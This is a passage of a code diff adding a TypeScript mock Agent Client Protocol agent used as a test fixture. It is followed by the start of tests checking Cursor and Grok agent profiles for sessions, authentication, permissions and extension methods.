await new Promise((resolve) => + listener.listen(0, "127.0.0.1", resolve), + ); + const address = listener.address(); + const port = typeof address === "object" && address ? address.port : 0; + callbackUrl = `http://127.0.0.1:${port}/`; + } + const vars = { + callbackUrl, + callbackUrlEncoded: encodeURIComponent(callbackUrl), + methodId, + }; + for (const line of login.stdoutLines ?? []) + await stdout.write(`${applyTemplate(line, vars)}\n`); + if (!outcome || !server) return; + try { + const timeout = + login.timeoutMs === undefined + ? undefined + : sleep(login.timeoutMs).then(() => "timeout" as const); + const query = await (timeout ? Promise.race([outcome, timeout]) : outcome); + if (query === "timeout") { + throw new acp.RequestError(-32000, "Authentication timed out"); + } + const error = query.get("error"); + if (error !== null) { + throw new acp.RequestError(-32000, `Authentication failed: ${error}`, { + error, + }); + } + } finally { + server.close(); + } +} + +function nextSessionId(): string { + const configured = scenario.session?.ids?.[sessionCounter]; + sessionCounter += 1; + return configured ?? `mock-session-${sessionCounter}`; +} + +function createSession(sessionId: string, cwd: string): SessionState { + const config = scenario.session ?? {}; + const state: SessionState = { + sessionId, + cwd, + modes: deepClone(config.modes ?? null), + configOptions: deepClone( + (config.configOptions as JsonObject[] | null) ?? null, + ), + models: deepClone(config.models ?? null), + }; + sessions.set(sessionId, state); + return state; +} + +function requireSession(sessionId: string): SessionState { + const state = sessions.get(sessionId); + if (!state) { + throw acp.RequestError.invalidParams( + { sessionId }, + `Unknown session ${sessionId}`, + ); + } + return state; +} + +function sessionPayload(state: SessionState): JsonObject { + const meta = scenario.session?.meta; + return { + ...(state.modes ? { modes: state.modes } : {}), + ...(state.configOptions ? { configOptions: state.configOptions } : {}), + ...(state.models ? { models: state.models } : {}), + ...(meta ? { _meta: meta } : {}), + }; +} + +function sessionVars(state: SessionState): Record { + return { sessionId: state.sessionId, cwd: state.cwd }; +} + +async function sendUpdate( + client: acp.AgentContext, + sessionId: string, + update: JsonObject, + meta?: { meta?: JsonObject; notificationMeta?: JsonObject }, +) { + const method: string = acp.methods.client.session.update; + await client.notify(method, { + sessionId, + update: meta?.meta ? { ...update, _meta: meta.meta } : update, + ...(meta?.notificationMeta ? { _meta: meta.notificationMeta } : {}), + }); +} + +// --------------------------------------------------------------------------- +// Outbound tap: tells handlers when their response has been written. +// --------------------------------------------------------------------------- + +const responseWaiters = new Map void>(); + +/** Resolves once the response to `requestId` has gone out. */ +function responseSent(requestId: acp.JsonRpcId): Promise { + return new Promise((resolve) => responseWaiters.set(requestId, resolve)); +} + +function recordOutbound(message: unknown) { + if (Array.isArray(message)) { + for (const item of message) recordOutbound(item); + return; + } + if (!isObject(message) || "method" in message || !("id" in message)) return; + const id = message.id as acp.JsonRpcId; + const waiter = responseWaiters.get(id); + if (!waiter) return; + responseWaiters.delete(id); + waiter(); +} + +/** Sends updates once the response to `requestId` has gone out. */ +function sendAfterResponse( + client: acp.AgentContext, + sessionId: string, + updates: JsonObject[], + requestId: acp.JsonRpcId, +) { + if (updates.length === 0) return; + void responseSent(requestId).then(async () => { + for (const update of updates) await sendUpdate(client, sessionId, update); + }); +} + +function flatSelectValues(option: JsonObject): string[] { + const options = Array.isArray(option.options) ? option.options : []; + return options.flatMap((entry: unknown) => { + if (!isObject(entry)) return []; + if (Array.isArray(entry.options)) { + return entry.options.flatMap((inner: unknown) => + isObject(inner) && typeof inner.value === "string" ? [inner.value] : [], + ); + } + return typeof entry.value === "string" ? [entry.value] : []; + }); +} + +// --------------------------------------------------------------------------- +// Prompt turns +// --------------------------------------------------------------------------- + +function promptText(prompt: acp.ContentBlock[]): string { + return prompt + .flatMap((block) => (block.type === "text" ? [block.text] : [])) + .join("\n"); +} + +function selectScript(text: string): AcpMockPromptScript { + const scripts = scenario.prompts ?? []; + const matched = scripts.find( + (script) => script.match !== undefined && text.includes(script.match), + ); + if (matched) return matched; + const ordered = scripts.filter((script) => script.match === undefined); + const index = unmatchedPrompts++; + return ( + ordered[Math.min(index, ordered.length - 1)] ?? { + steps: [{ type: "text", text: "Mock agent reply." }], + } + ); +} + +function pickBranch( + branches: AcpMockBranches | undefined, + key: string, +): AcpMockStep[] | undefined { + return branches?.[key] ?? branches?.["*"]; +} + +async function echo(turn: TurnContext, label: string, value: unknown) { + await sendUpdate(turn.client, turn.session.sessionId, { + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: `[${label}] ${JSON.stringify(value)}` }, + }); +} + +async function runSteps( + steps: AcpMockStep[] | undefined, + turn: TurnContext, +): Promise { + for (const step of steps ?? []) { + if (turn.signal.aborted) throw CANCELLED; + const outcome = await runStep(step, turn); + if (outcome) return outcome; + } + return undefined; +} + +async function runStep( + step: AcpMockStep, + turn: TurnContext, +): Promise { + const { client, session, signal } = turn; + const sessionId = session.sessionId; + + switch (step.type) { + case "update": + await sendUpdate(client, step.sessionId ?? sessionId, step.update, step); + return undefined; + case "text": + case "thought": + await sendUpdate( + client, + sessionId, + { + sessionUpdate: + step.type === "text" + ? "agent_message_chunk" + : "agent_thought_chunk", + content: { type: "text", text: step.text }, + ...(step.messageId ? { messageId: step.messageId } : {}), + }, + step, + ); + return undefined; + case "image": + await sendUpdate( + client, + sessionId, + { + sessionUpdate: "agent_message_chunk", + content: { + type: "image", + data: step.data, + mimeType: step.mimeType, + ...(step.uri ? { uri: step.uri } : {}), + }, + }, + step, + ); + return undefined; + case "toolCall": + case "toolCallUpdate": { + const { type, meta, notificationMeta, ...fields } = step; + await sendUpdate( + client, + sessionId, + { + sessionUpdate: type === "toolCall" ? "tool_call" : "tool_call_update", + ...fields, + }, + { meta, notificationMeta }, + ); + return undefined; + } + case "plan": + await sendUpdate( + client, + sessionId, + { sessionUpdate: "plan", entries: step.entries }, + step, + ); + return undefined; + case "requestPermission": { + const response: unknown = await client.request( + acp.methods.client.session.requestPermission, + { + sessionId, + toolCall: step.toolCall as acp.ToolCallUpdate, + options: (step.options ?? + STANDARD_PERMISSION_OPTIONS) as acp.PermissionOption[], + ...(step.meta ? { _meta: step.meta } : {}), + }, + ); + const outcome = isObject(response) ? response.outcome : undefined; + const key = + isObject(outcome) && + outcome.outcome === "selected" && + typeof outcome.optionId === "string" + ? outcome.optionId + : "cancelled"; + return runSteps(pickBranch(step.branches, key), turn); + } + case "extRequest": { + let key: string; + let result: JsonObject; + try { + const value = await client.request( + step.method, + step.params ?? {}, + ); + key = + isObject(value) && typeof value.outcome === "string" + ? value.outcome + : "ok"; + result = { result: value }; + } catch (error) { + key = "error"; + result = { error: errorToJson(error) }; + } + if (step.echo) await echo(turn, step.method, result); + return runSteps(pickBranch(step.branches, key), turn); + } + case "extNotification": + await client.notify(step.method, step.params ?? {}); + return undefined; + case "clientFs": { + try { + if (step.op === "read") { + const value = await client.request( + acp.methods.client.fs.readTextFile, + { + sessionId, + path: step.path, + ...(step.line !== undefined ? { line: step.line } : {}), + ...(step.limit !== undefined ? { limit: step.limit } : {}), + }, + ); + if (step.echo) + await echo(turn, "fs/read_text_file", { result: value }); + } else { + await client.request(acp.methods.client.fs.writeTextFile, { + sessionId, + path: step.path, + content: step.content, + }); + } + } catch (error) { + if (step.op === "read" && step.echo) { + await echo(turn, "fs/read_text_file", { error: errorToJson(error) }); + } + } + return undefined; + } + case "clientTerminal": { + const report: JsonObject = {}; + try { + const createParams: acp.CreateTerminalRequest = { + sessionId, + command: step.command, + ...(step.args ? { args: step.args } : {}), + ...(step.env ? { env: step.env } : {}), + ...(step.cwd ? { cwd: step.cwd } : {}), + ...(step.outputByteLimit !== undefined + ? { outputByteLimit: step.outputByteLimit } + : {}), + }; + const created = await client.request( + acp.methods.client.terminal.create, + createParams, + ); + const terminalId = created.terminalId; + report.terminalId = terminalId; + if (step.toolCallId) { + await sendUpdate(client, sessionId, { + sessionUpdate: "tool_call_update", + toolCallId: step.toolCallId, + content: [{ type: "terminal", terminalId }], + }); + } + if (step.kill) { + await client.request(acp.methods.client.terminal.kill, { + sessionId, + terminalId, + }); + } + if (!step.noWait) { + report.exit = await client.request( + acp.methods.client.terminal.waitForExit, + { + sessionId, + terminalId, + }, + ); + } + report.output = await client.request( + acp.methods.client.terminal.output, + { + sessionId, + terminalId, + }, + ); + if (step.release !== false) { + await client.request(acp.methods.client.terminal.release, { + sessionId, + terminalId, + }); + } + } catch (error) { + report.error = errorToJson(error); + } + if (step.echo) await echo(turn, "terminal", report); + return undefined; + } + case "elicitation": { + const params = + step.mode === "form" + ? { + mode: "form" as const, + sessionId, + ...(step.toolCallId ? { toolCallId: step.toolCallId } : {}), + message: step.message, + requestedSchema: step.requestedSchema, + } + : { + mode: "url" as const, + sessionId, + elicitationId: + step.elicitationId ?? + `mock-elicitation-${++elicitationCounter}`, + url: step.url, + message: step.message, + }; + let key: string; + let result: JsonObject; + try { + const value: unknown = await client.request( + acp.methods.client.elicitation.create, + params as acp.CreateElicitationRequest, + ); + key = + isObject(value) && typeof value.action === "string" + ? value.action + : "ok"; + result = { result: value }; + } catch (error) { + key = "error"; + result = { error: errorToJson(error) }; + } + if (params.mode === "url" && step.mode === "url" && step.complete) { + await client.notify(acp.methods.client.elicitation.complete, { + elicitationId: params.elicitationId, + }); + } + if (step.echo) await echo(turn, "elicitation/create", result); + return runSteps(pickBranch(step.branches, key), turn); + } + case "delay": + await sleep(step.ms, signal); + return undefined; + case "stdout": + for (const line of step.lines) await stdout.write(`${line}\n`); + return undefined; + case "stderr": + await writeStderr(`${step.text}\n`, step.repeat); + return undefined; + case "exit": + if (step.stderr) await writeStderr(`${step.stderr}\n`); + if (step.signal) { + log({ + kind: "lifecycle", + event: "kill", + detail: { signal: step.signal }, + }); + await stdout.flush(); + process.kill(process.pid, step.signal); + return waitForAbort(); + } + return exitProcess(step.code ?? 1, "exit-step"); + case "hang": + return waitForAbort(step.ignoreCancel ? undefined : signal); + case "waitForCancel": + return waitForAbort(signal); + case "stop": + return { + stopReason: + step.stopReason === undefined ? "end_turn" : step.stopReason, + }; + case "fail": + throw toRequestError(step.error); + } +} + +async function finishCancelled(turn: TurnContext): Promise { + const cancel = scenario.cancel ?? {}; + if (cancel.exitCode !== undefined) { + return exitProcess(cancel.exitCode, "exit-on-cancel"); + } + for (const update of cancel.updates ?? []) { + await sendUpdate( + turn.client, + turn.session.sessionId, + applyTemplate(update, sessionVars(turn.session)), + ); + } + return { stopReason: cancel.stopReason ?? "cancelled" }; +} + +/** Runs a script's `afterResponse` steps outside the turn (no cancel). */ +async function runAfterResponse(steps: AcpMockStep[], turn: TurnContext) { + try { + await runSteps(steps, { ...turn, signal: new AbortController().signal }); + } catch (error) { + log({ + kind: "lifecycle", + event: "after-response-failed", + detail: errorToJson(error), + }); + } +} + +async function runPrompt( + params: acp.PromptRequest, + client: acp.AgentContext, + requestId: acp.JsonRpcId, +): Promise { + const session = requireSession(params.sessionId); + const seq = rawRequests.get(requestId)?.seq ?? inboundSeq; + const raw = rawParams(requestId); + const rawMeta = isObject(raw._meta) ? raw._meta : undefined; + + // Per-turn cancellation state, adapted from t3code's acp-mock-agent.ts and + // acpMockCancellationState.ts (MIT): a cancel belongs to the turn running + // when it arrived and never leaks into the next prompt. Here each turn owns + // an AbortController, and inbound sequence numbers keep a cancel that raced + // ahead of this handler. A new prompt supersedes a running one, like the + // SDK's example agent. + session.turn?.controller.abort(CANCELLED); + const controller = new AbortController(); + const turnState = { controller }; + session.turn = turnState; + // A cancel that raced ahead of this prompt's handler still cancels it. + if ((lastCancelSeq.get(session.sessionId) ?? 0) > seq) + controller.abort(CANCELLED); + + const text = promptText(params.prompt); + const script = selectScript(text); + const vars = { + ...sessionVars(session), + promptText: text, + promptId: rawMeta?.promptId ?? rawMeta?.requestId, + requestId: rawMeta?.requestId ?? rawMeta?.promptId, + promptMeta: rawMeta ?? null, + }; + const turn: TurnContext = { client, session, signal: controller.signal }; + if (script.afterResponse?.length) { + const steps = applyTemplate(script.afterResponse, vars); + void responseSent(requestId).then(() => runAfterResponse(steps, turn)); + } + + try { + const outcome = await runSteps(applyTemplate(script.steps, vars), turn); + if (controller.signal.aborted) return await finishCancelled(turn); + if (script.error) throw toRequestError(script.error); + const stopReason = + outcome?.stopReason !== undefined + ? outcome.stopReason + : script.stopReason === undefined + ? "end_turn" + : script.stopReason; + const meta = script.meta ? applyTemplate(script.meta, vars) : undefined; + return { + ...(stopReason === null ? {} : { stopReason }), + ...(script.usage ? { usage: script.usage } : {}), + ...(meta ? { _meta: meta } : {}), + } as acp.PromptResponse; + } catch (error) { + if (controller.signal.aborted) return finishCancelled(turn); + throw error; + } finally { + if (session.turn === turnState) session.turn = undefined; + } +} + +// --------------------------------------------------------------------------- +// Agent app +// --------------------------------------------------------------------------- + +const passthrough = (params: unknown) => (isObject(params) ? params : {}); + +const app = acp + .agent({ name: scenario.agentName ?? "sentinel-acp-mock" }) + .onRequest( + "initialize", + guard("initialize", ({ requestId }) => { + const init = scenario.initialize ?? {}; + if (init.response) return init.response as acp.InitializeResponse; + const raw = rawParams(requestId); + const meta: JsonObject = { ...(init.meta ?? {}) }; + if (init.echoMeta) { + meta["sentinel.mock/request"] = { + protocolVersion: raw.protocolVersion ?? null, + clientInfo: raw.clientInfo ?? null, + clientCapabilities: raw.clientCapabilities ?? null, + _meta: raw._meta ?? null, + }; + } + return { + protocolVersion: init.protocolVersion ?? acp.PROTOCOL_VERSION, + agentCapabilities: init.agentCapabilities ?? DEFAULT_AGENT_CAPABILITIES, + authMethods: init.authMethods ?? [], + agentInfo: + init.agentInfo === undefined ? DEFAULT_AGENT_INFO : init.agentInfo, + ...(Object.keys(meta).length > 0 ? { _meta: meta } : {}), + } as acp.InitializeResponse; + }), + ) + .onRequest( + "authenticate", + guard("authenticate", async ({ params }) => { + const auth = scenario.auth ?? {}; + if (auth.delayMs) await sleep(auth.delayMs); + if ( + auth.acceptMethodIds && + !auth.acceptMethodIds.includes(params.methodId) + ) { + throw toRequestError( + auth.rejectError ?? { + code: -32602, + message: `Invalid params: unsupported auth method ${params.methodId}`, + }, + ); + } + const browser = auth.browserLogin; + if ( + browser && + (!browser.methodIds || browser.methodIds.includes(params.methodId)) + ) { + await browserLogin(browser, params.methodId); + } + authenticated = true; + return {}; + }), + ) + .onRequest( + "logout", + guard("logout", () => { + if (scenario.auth?.requireAuth) authenticated = false; + return {}; + }), + ) + .onRequest( + "session/new", + guard("session/new", ({ params, client, requestId }) => { + requireAuthenticated(); + const state = createSession(nextSessionId(), params.cwd); + sendAfterResponse( + client, + state.sessionId, + applyTemplate(scenario.session?.afterNew ?? [], sessionVars(state)), + requestId, + ); + return { + sessionId: state.sessionId, + ...sessionPayload(state), + } as acp.NewSessionResponse; + }), + ) + .onRequest( + "session/load", + guard("session/load", async ({ params, client }) => { + requireAuthenticated(); + const load = scenario.session?.load ?? {}; + if (load.error) throw toRequestError(load.error); + if ( + load.knownSessionIds && + !load.knownSessionIds.includes(params.sessionId) + ) { + throw toRequestError( + load.unknownSessionError ?? { + code: -32002, + message: `Resource not found: session ${params.sessionId}`, + }, + ); + } + const state = + sessions.get(params.sessionId) ?? + createSession(params.sessionId, params.cwd); + state.cwd = params.cwd; + for (const update of load.replay ?? []) { + if (load.replayDelayMs) await sleep(load.replayDelayMs); + await sendUpdate( + client, + state.sessionId, + applyTemplate(update, sessionVars(state)), + ); + } + return sessionPayload(state) as acp.LoadSessionResponse; + }), + ) + .onRequest( + "session/resume", + guard("session/resume", ({ params }) => { + requireAuthenticated(); + const resume = scenario.session?.resume ?? {}; + if (resume.error) throw toRequestError(resume.error); + if ( + resume.knownSessionIds && + !resume.knownSessionIds.includes(params.sessionId) + ) { + throw toRequestError( + resume.unknownSessionError ?? { + code: -32002, + message: `Resource not found: session ${params.sessionId}`, + }, + ); + } + const state = + sessions.get(params.sessionId) ?? + createSession(params.sessionId, params.cwd); + state.cwd = params.cwd; + return sessionPayload(state) as acp.ResumeSessionResponse; + }), + ) + .onRequest( + "session/fork", + guard("session/fork", ({ params }) => { + requireAuthenticated(); + const source = requireSession(params.sessionId); + const state = createSession(nextSessionId(), params.cwd); + state.modes = deepClone(source.modes); + state.configOptions = deepClone(source.configOptions); + state.models = deepClone(source.models); + return { + sessionId: state.sessionId, + ...sessionPayload(state), + } as acp.ForkSessionResponse; + }), + ) + .onRequest( + "session/list", + guard("session/list", () => ({ + sessions: + scenario.session?.list ?? + [...sessions.values()].map((state) => ({ + sessionId: state.sessionId, + cwd: state.cwd, + })), + })), + ) + .onRequest( + "session/close", + guard("session/close", ({ params }) => { + sessions.get(params.sessionId)?.turn?.controller.abort(CANCELLED); + return {}; + }), + ) + .onRequest( + "session/delete", + guard("session/delete", ({ params }) => { + sessions.delete(params.sessionId); + return {}; + }), + ) + .onRequest( + "session/set_mode", + guard("session/set_mode", ({ params, client, requestId }) => { + const state = requireSession(params.sessionId); + if ( + state.modes && + !state.modes.availableModes.some((mode) => mode.id === params.modeId) + ) { + throw acp.RequestError.invalidParams( + { modeId: params.modeId }, + `Unknown mode ${params.modeId}`, + ); + } + if (state.modes) state.modes.currentModeId = params.modeId; + if (scenario.session?.emitCurrentModeUpdate) { + sendAfterResponse( + client, + state.sessionId, + [ + { + sessionUpdate: "current_mode_update", + currentModeId: params.modeId, + }, + ], + requestId, + ); + } + return {}; + }), + ) + .onRequest( + "session/set_config_option", + guard("session/set_config_option", ({ params, client, requestId }) => { + const state = requireSession(params.sessionId); + const option = state.configOptions?.find( + (entry) => entry.id === params.configId, + ); + if (!option) { + throw acp.RequestError.invalidParams( + { configId: params.configId }, + `Unknown config option ${params.configId}`, + ); + } + const value = (params as { value: unknown }).value; + if ( + option.type === "select" && + (typeof value !== "string" || !flatSelectValues(option).includes(value)) + ) { + throw acp.RequestError.invalidParams( + { configId: params.configId, value }, + `Invalid value for ${params.configId}`, + ); + } + option.currentValue = value; + const replacement = + scenario.session?.configOptionsAfterSet?.[ + `${params.configId}=${String(value)}` + ]; + if (replacement) + state.configOptions = deepClone(replacement as JsonObject[]); + if (scenario.session?.emitConfigOptionUpdate) { + sendAfterResponse( + client, + state.sessionId, + [ + { + sessionUpdate: "config_option_update", + configOptions: state.configOptions, + }, + ], + requestId, + ); + } + return { + configOptions: state.configOptions, + } as acp.SetSessionConfigOptionResponse; + }), + ) + // Unstable legacy model picker: not in the 1.7 method tables, so it is + // registered as an extension method with a pass-through parser. + .onRequest( + "session/set_model", + passthrough, + guard("session/set_model", ({ params }) => { + const sessionId = + typeof params.sessionId === "string" ? params.sessionId : ""; + const state = requireSession(sessionId); + const modelId = params.modelId; + if ( + typeof modelId !== "string" || + (state.models && + !state.models.availableModels.some( + (model) => model.modelId === modelId, + )) + ) { + throw acp.RequestError.invalidParams( + { modelId }, + `Unknown model ${String(modelId)}`, + ); + } + if (state.models) state.models.currentModelId = modelId; + return {}; + }), + ) + .onRequest( + "session/prompt", + guard("session/prompt", ({ params, client, requestId }) => + runPrompt(params, client, requestId), + ), + ) + .onNotification("session/cancel", ({ params }) => { + sessions.get(params.sessionId)?.turn?.controller.abort(CANCELLED); + }); + +// --------------------------------------------------------------------------- +// Draft ACP v2 agent (only when initialize.versions includes 2) +// --------------------------------------------------------------------------- + +/** + * A minimal draft-v2 agent, shaped like the SDK's + * `dist/examples/dual-version-agent.js`: the prompt answers `{messageId}` + * first and reports the turn through `state_update`. + */ +function v2Agent() { + const config = scenario.initialize?.v2 ?? {}; + const turns = new Map(); + return acpV2 + .agent({ name: `${scenario.agentName ?? "sentinel-acp-mock"}-v2` }) + .onRequest( + "initialize", + guard("initialize", () => ({ + protocolVersion: acpV2.PROTOCOL_VERSION, + info: config.info ?? DEFAULT_AGENT_INFO, + capabilities: (config.capabilities ?? { + session: {}, + }) as acpV2.AgentCapabilities, + ...(config.meta ? { _meta: config.meta } : {}), + })), + ) + .onRequest( + "session/new", + guard("session/new", ({ params }) => { + const state = createSession(nextSessionId(), params.cwd); + return { sessionId: state.sessionId }; + }), + ) + .onRequest( + "session/prompt", + guard("session/prompt", ({ params, client }) => { + const session = requireSession(params.sessionId); + const text = params.prompt + .flatMap((block) => (block.type === "text" ? [block.text] : [])) + .join("\n"); + const reply = (selectScript(text).steps ?? []) + .flatMap((step) => (step.type === "text" ? [step.text] : [])) + .join(""); + const messageId = `mock-message-${++v2MessageCounter}`; + const controller = new AbortController(); + turns.get(session.sessionId)?.abort(); + turns.set(session.sessionId, controller); + const notify = (update: JsonObject) => + client.notify(acpV2.methods.client.session.update, { + sessionId: session.sessionId, + update, + } as acpV2.UpdateSessionNotification); + // The response goes out first: the turn starts on the next task. + setTimeout(() => { + void (async () => { + await notify({ + sessionUpdate: "user_message", + messageId, + content: params.prompt, + }); + await notify({ sessionUpdate: "state_update", state: "running" }); + if (!controller.signal.aborted) { + await notify({ + sessionUpdate: "agent_message", + messageId: `mock-message-${++v2MessageCounter}`, + content: [{ type: "text", text: reply || "Mock agent reply." }], + }); + } + await notify({ + sessionUpdate: "state_update", + state: "idle", + stopReason: controller.signal.aborted ? "cancelled" : "end_turn", + }); + if (turns.get(session.sessionId) === controller) + turns.delete(session.sessionId); + })(); + }, 0); + return { messageId }; + }), + ) + .onNotification("session/cancel", ({ params }) => { + turns.get(params.sessionId)?.abort(); + }); +} + +// --------------------------------------------------------------------------- +// Startup +// --------------------------------------------------------------------------- + +async function main() { + for (const line of faults.startupStdout ?? []) + await stdout.write(`${line}\n`); + if (faults.startupStderr) await writeStderr(`${faults.startupStderr}\n`); + if (faults.stderrFloodBytes) await floodStderr(faults.stderrFloodBytes); + if (faults.exitAfterMs !== undefined) { + setTimeout(() => { + void exitProcess(faults.exitCode ?? 1, "exit-after-ms"); + }, faults.exitAfterMs); + } + + const wire = acp.ndJsonStream( + stdout.stream, + nodeReadableToWeb(process.stdin), + ); + const tap = new TransformStream({ + transform(message, controller) { + recordInbound(message); + controller.enqueue(message); + }, + }); + // A write resolves only once the frame reached the stdout queue, so steps + // that write raw stdout or exit right after a frame keep their order. + const wireWriter = wire.writable.getWriter(); + const outbound = new WritableStream({ + async write(message) { + await wireWriter.write(message); + recordOutbound(message); + }, + close: () => wireWriter.close(), + abort: (reason) => wireWriter.abort(reason), + }); + const stream = { + readable: wire.readable.pipeThrough(tap), + writable: outbound, + }; + const versions = scenario.initialize?.versions ?? [1]; + let connection: { closed: Promise }; + if (versions.includes(2)) { + // Version negotiation by the SDK's own router, as dual-version-agent.js. + const router = acpV2.agentProtocolRouter().withV2(v2Agent()); + if (versions.includes(1)) router.withV1(app); + connection = router.connect(stream); + } else { + connection = app.connect(stream); + } + + await connection.closed; + if (faults.exitOnStdinClose === false) { + log({ kind: "lifecycle", event: "stdin-closed-ignored" }); + setInterval(() => {}, 1 << 30); + return; + } + await exitProcess(0, "stdin-closed"); +} + +void main(); diff --git a/scripts/fixtures/agents/acp/profiles.test.ts b/scripts/fixtures/agents/acp/profiles.test.ts new file mode 100644 index 00000000..c979c901 --- /dev/null +++ b/scripts/fixtures/agents/acp/profiles.test.ts @@ -0,0 +1,546 @@ +import { afterEach, describe, expect, it } from "bun:test"; + +import * as acp from "@agentclientprotocol/sdk"; + +import { + killAllFixtures, + splitLfLines, + waitFor, + withTimeout, +} from "../shared/test-support"; +import { + antigravityProfile, + cursorProfile, + devinProfile, + grokProfile, +} from "./profiles"; +import type { AcpLegacyModelState, AcpMockScenario } from "./scenario"; +import { + startAcpHarness, + type AcpClientHandlers, + type AcpHarness, +} from "./test-harness"; + +const TEST_TIMEOUT = 20_000; +const harnesses: AcpHarness[] = []; + +function start( + scenario: AcpMockScenario, + handlers?: AcpClientHandlers, + stdoutTap?: (chunk: string) => void, +) { + const harness = startAcpHarness(scenario, handlers, { stdoutTap }); + harnesses.push(harness); + return harness; +} + +afterEach(async () => { + await Promise.all(harnesses.splice(0).map((harness) => harness.dispose())); + await killAllFixtures(); +}); + +const allow = () => ({ + outcome: { outcome: "selected" as const, optionId: "allow-once" }, +}); + +describe("ACP agent profiles", () => { + it( + "cursor: lazy login, per-model effort options and cursor/* extensions", + async () => { + const harness = start(cursorProfile(), { + requestPermission: allow, + extRequests: { + "cursor/create_plan": () => ({ accepted: true }), + "cursor/ask_question": () => ({ + answers: { db: "pg", extras: ["auth"] }, + }), + "cursor/update_todos": () => ({}), + }, + }); + const init = await harness.initialize({ + clientCapabilities: { _meta: { parameterizedModelPicker: true } }, + }); + expect(init.authMethods?.map((method) => method.id)).toEqual([ + "cursor_login", + ]); + const denied = await harness + .newSession() + .catch((error: unknown) => error); + expect((denied as acp.RequestError).code).toBe(-32000); + await harness.agent.request("authenticate", { methodId: "cursor_login" }); + const session = await harness.newSession("/work/repo"); + expect(session.configOptions?.map((option) => option.id)).toEqual([ + "mode", + "model", + ]); + + const set = await harness.agent.request("session/set_config_option", { + sessionId: session.sessionId, + configId: "model", + value: "gpt-5.4", + }); + expect(set.configOptions.map((option) => option.id)).toEqual([ + "mode", + "model", + "reasoning", + ]); + + await harness.prompt(session.sessionId, "make a plan"); + await harness.prompt(session.sessionId, "one question"); + expect(await harness.prompt(session.sessionId, "edit it")).toEqual({ + stopReason: "end_turn", + }); + await harness.settle(); + expect(harness.calls.map((call) => call.method).sort()).toEqual( + [ + "cursor/ask_question", + "cursor/create_plan", + "cursor/update_todos", + "session/request_permission", + ].sort(), + ); + expect(harness.updates.at(-1)?.update).toMatchObject({ + content: { type: "text", text: "Done." }, + }); + }, + TEST_TIMEOUT, + ); + + it( + "grok: the 1.0.41 wire: _x.ai/* methods, params-level promptId, wrapped questions", + async () => { + let raw = ""; + const harness = start( + grokProfile(), + { + extNotifications: [ + "_x.ai/session/prompt_complete", + "_x.ai/session_notification", + "_x.ai/queue/changed", + "_x.ai/task_completed", + ], + extRequests: { + "_x.ai/exit_plan_mode": () => ({ + outcome: "abandoned", + feedback: "captured", + }), + "_x.ai/ask_user_question": () => ({ + outcome: "accepted", + answers: { "Which approach?": ["Safe"] }, + }), + }, + }, + (chunk) => (raw += chunk), + ); + const init = await harness.initialize({ + _meta: { clientType: "extension" }, + }); + expect(init.protocolVersion).toBe(1); + expect(init).not.toHaveProperty("agentInfo"); + expect(init.agentCapabilities?.promptCapabilities?.image).toBe(false); + expect(init.authMethods?.map((method) => method.id)).toEqual([ + "cached_token", + "grok.com", + ]); + const modelState = init._meta?.modelState as AcpLegacyModelState; + expect(modelState.currentModelId).toBe("grok-4.7"); + expect( + modelState.availableModels[0]?._meta?.reasoningEfforts, + ).toContainEqual({ + id: "high", + value: "high", + label: "High", + description: "Thorough reasoning and quality. Recommended.", + default: true, + }); + + const session = await harness.newSession(); + const sessionId = session.sessionId; + // Legacy unstable `models`: outside the 1.7 types, kept on the wire. + const { models } = session as { models?: AcpLegacyModelState }; + expect(models?.currentModelId).toBe("grok-4.7"); + expect( + session.configOptions?.map((option) => [option.id, option.category]), + ).toEqual([ + ["model", "model"], + ["reasoning_effort", "thought_level"], + ]); + await harness.agent.request("session/set_model", { + sessionId, + modelId: "grok-4.5", + _meta: { reasoningEffort: "medium" }, + }); + + const promptMeta = { + promptId: "t3-xai-prompt-1", + requestId: "t3-xai-prompt-1", + }; + expect(await harness.prompt(sessionId, "say hi", promptMeta)).toEqual({ + stopReason: "end_turn", + _meta: { + sessionId, + requestId: "t3-xai-prompt-1", + promptId: "t3-xai-prompt-1", + modelId: "grok-4.7", + }, + }); + const complete = await waitFor( + () => + harness.calls.find( + (call) => call.method === "_x.ai/session/prompt_complete", + ), + "prompt_complete", + ); + expect(complete.params).toEqual({ + sessionId, + promptId: "t3-xai-prompt-1", + stopReason: "end_turn", + agentResult: null, + }); + expect( + harness.calls.find( + (call) => call.method === "_x.ai/session_notification", + )?.params, + ).toEqual({ + sessionId, + update: { + sessionUpdate: "turn_completed", + prompt_id: "t3-xai-prompt-1", + stop_reason: "end_turn", + }, + }); + // The prompt id rides on the notification params, not on the update. + const turn = harness.updates.filter( + (n) => + n.update.sessionUpdate === "agent_message_chunk" || + n.update.sessionUpdate === "agent_thought_chunk", + ); + expect(turn.map((n) => n._meta)).toEqual([ + { promptId: "t3-xai-prompt-1", updateType: "AgentThoughtChunk" }, + { promptId: "t3-xai-prompt-1", updateType: "AgentMessageChunk" }, + ]); + expect(turn.every((n) => n.update._meta === undefined)).toBe(true); + // The raw frame order matches the recording: turn_completed, then + // prompt_complete, then the prompt response. + const frames = splitLfLines(raw).map( + (line) => JSON.parse(line) as Record, + ); + const methods = frames.map((frame) => + typeof frame.method === "string" ? frame.method : "response", + ); + const completedAt = methods.indexOf("_x.ai/session_notification"); + expect(methods.slice(completedAt, completedAt + 4)).toEqual([ + "_x.ai/session_notification", + "_x.ai/queue/changed", + "_x.ai/session/prompt_complete", + "response", + ]); + + const limited = await harness + .prompt(sessionId, "rate limited please") + .catch((error: unknown) => error); + expect((limited as acp.RequestError).code).toBe(-32003); + + expect( + (await harness.prompt(sessionId, "plan it", { promptId: "p-plan" })) + .stopReason, + ).toBe("end_turn"); + expect( + harness.calls.find((call) => call.method === "_x.ai/exit_plan_mode") + ?.params, + ).toEqual({ + method: "x.ai/exit_plan_mode", + params: { + sessionId, + toolCallId: "exit-plan-mode-tool-call-1", + planContent: "# Plan\n\n- step", + }, + }); + + expect( + (await harness.prompt(sessionId, "ask me", { promptId: "p-ask" })) + .stopReason, + ).toBe("end_turn"); + const question = harness.calls.find( + (call) => call.method === "_x.ai/ask_user_question", + )?.params as { method: string; params: Record }; + expect(question.method).toBe("x.ai/ask_user_question"); + expect(question.params).toMatchObject({ + sessionId, + toolCallId: "ask-user-question-tool-call-1", + mode: "plan", + questions: [{ id: "approach", question: "Which approach?" }], + }); + await harness.settle(); + expect( + harness.updates.find( + (n) => + n.update.sessionUpdate === "agent_message_chunk" && + n._meta?.promptId === "p-ask", + )?.update, + ).toMatchObject({ content: { text: "Going with the answer." } }); + expect( + harness.calls.some((call) => 